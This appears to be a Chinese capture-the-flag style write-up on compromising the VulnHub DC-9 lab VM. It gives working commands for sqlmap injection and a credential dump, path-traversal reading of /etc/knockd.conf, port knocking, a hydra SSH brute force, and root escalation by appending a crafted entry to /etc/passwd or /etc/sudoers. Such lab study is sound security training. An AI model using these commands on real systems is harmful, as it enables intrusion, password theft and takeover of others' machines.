一.环境搭建
1.下载地址
靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip
2.虚拟机配置
设置虚拟机为nat,遇到错误点重试和是
开启虚拟机如下图所示
二.开始渗透
1. 信息收集
查找靶机的ip地址
arp-scan -l
发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128
用nmap扫描其开启服务和端口
nmap -p- -sV 192.168.111.137
发现ssh和http服务打开
用浏览器打开其http服务,如下图
发现一句提示,翻译一下看看
点击这个search,进行抓包
发现此处存在sql注入
2.sql注入
用sqlmap进行注入
sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs
跑users表
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
下爆staff的
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump
账号获取到了,密码被爆破出来了
看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)
sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump
利用之前获取到的账号密码admin/transorbital1进行用户登录
登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含
看大佬的wp,访问该路径获取关键信息
http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
这玩意也不知道啥意思,问问万能的ai吧
[openSSH]:
- sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
- seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
- command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。
[closeSSH]:
- sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
- seq_timeout = 25:与 [openSSH] 相同。
- command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。
knockd
字面意思是敲,只是这里敲的是端口
,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。
也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口
nmap 192.168.111.137 -p 7469
nmap 192.168.111.137 -p 8475
nmap 192.168.111.137 -p 9842
nmap -p 22 192.168.111.137
查看到ssh服务已经开启
3.ssh暴力破解
将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt
将前面保存sqlmap自动保存的csv文件复制到物理机进行操作
users.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
利用工具进行ssh账号密码爆破
hydra -L users.txt -P pass.txt 192.168.111.137 ssh
[22][ssh] host: 192.168.111.137 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.111.137 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.111.137 login: janitor password: Ilovepeepee
4.获得shell
根据大佬wp可知,其他两个用户登录后无作用
登录janitor
ls -al
查看到隐藏文件
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt
newpass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
重新进行爆破
hydra -l users.txt -P newpass.txt 192.168.111.137 ssh
爆破出一个新用户
进行ssh连接 fredf/B4-Tru3-001
ssh fredf@192.168.111.137
5.提权
进行提权
sudo -l
列出sudo权限的命令,这里发现fred用户在NOPASSWD
的情况下可以使用root权限运行这个test文件
cd到该目录下尝试运行,发现为python文件
找到这个test.py文件
find / -name test.py 2>/dev/null
查看文件
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
发现代码作用需要两个文件,把第一文件追加到第二个文件后
openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码
openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1
把下面内容写入一个文件
echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan
使用test文件,将该文件的内容写入到passwd中
sudo ./test /tmp/tiquan /etc/passwd
切换账户
su mlws
成功提权
成功获取到最终的flag
三.其他
1.可以用knock命令直接对三个端口进行敲击
需要安装knock
knock 192.168.111.137 7469 8475 9842
2.提权可构造权限行,写入/etc/sudoers
echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root
一样可以提权成功
至此dc1-9靶机全部完成